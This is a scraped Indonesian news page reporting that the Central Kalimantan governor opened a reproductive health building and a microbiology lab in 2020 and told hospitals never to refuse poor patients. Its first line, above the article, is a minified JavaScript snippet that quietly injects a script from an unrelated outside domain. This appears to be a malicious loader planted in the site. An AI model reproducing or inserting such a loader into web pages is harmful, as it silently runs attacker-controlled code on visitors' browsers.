(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Tengah

Resmikan Gedung IKR, Gubernur Kalteng Cerita Pernah Ditolak Rumah Sakit


KANALKALIMANTAN.COM, PALANGKA RAYA — Gubernur Kalimantan Tengah Sugianto Sabran meresmikan gedung Instalasi Kesehatan Reproduksi (IKR) dan Laboratorium Mikrobiologi Klinik Biosafety Level (BSL)2, Selasa (15/9/2020).

Selain melakukan peresmian, juga dilaksanakan peletakan batu pertama pembangunan Gedung Instalasi Hemodialisis dan Pelayanan ESWL (Extracorporal Shock Wave Lithotripsy).

Dalam kesempatan itu gubernur kembali menekankan agar seluruh rumah sakit di Bumi Tambun Bungai, tidak boleh menolak pasien miskin.

Sekalipun belum terdaftar di BPJS Kesehatan atau tidak memiliki kartu tanda penduduk (KTP), tetap harus dilayani dan diberikan perawatan semestinya.

Pengalaman pribadinya, saat dirinya miskin, pernah ditolak rumah sakit. “Itu tidak boleh terjadi lagi selama saya masih menjadi Gubernur Kalteng,” tegasnya.

Untuk itu dirinya meminta kepada Kadis Kesehatan dr Suyuti Syamsul, agar menyampaikan kepada seluruh rumah sakit untuk tidak menolak merawat warga miskin walaupun belum terdaftar di BPJS.

“Apa arti uang dibandingkan nyawa manusia. Kalau memang perlu anggaran Rp10 miliar, Rp 50 miliar, nanti kita sediakan dari APBD. Terpenting rawat dulu warga miskin yang sakit dan sudah datang ke rumah sakit,” imbuhnya.

Sementara itu Direktur RSDS Doris Sylvanus Palangka Raya, drg Yayu Indriati mengungkapkan, pembangunan instalasi kesehatan reproduksi (IKR), berawal kunjungan orang nomor satu di Kalteng itu, pada 2016 lalu.

Saat ke Ruang Cempaka yaitu ruang persalinan di RSDS, gubernur melihat kondisi ruangan sangat memprihatinkan karena bangunannya tua, bocor dan tambal sulam.

“Atas perhatian bapak gubernur yang dikenal sangat memperhatikan hak-hak perempuan dan anak, langsung tergerak untuk membangun gedung yang lebih layak,” ujarnya.

Di luar dugaan surat rekomendasi Gubernur Kalteng dalam proses penganggaran dana alokasi khusus (DAK) mendapat perhatian khusus dari pemerintah pusat.

Tidak tanggung-tanggung, pada 2017 itu Bappenas dan Kemenkes memutuskan memberikan anggaran DAK sebesar Rp 77 miliar untuk RSDS.

Rp 50 miliar dipergunakan untuk membangun Gedung IKR. Gedung IKR dibangun pada 2018, dari alokasi dana khusus (DAK), dengan total sebesar Rp 49.152.499.056,00 dan beroperasi 2019 lalu. (kanalkalimantan.com/tri)

 

Reporter: Tri
Editor: Cell


Desy Arfianty

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

9 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

15 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

17 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

18 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

19 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.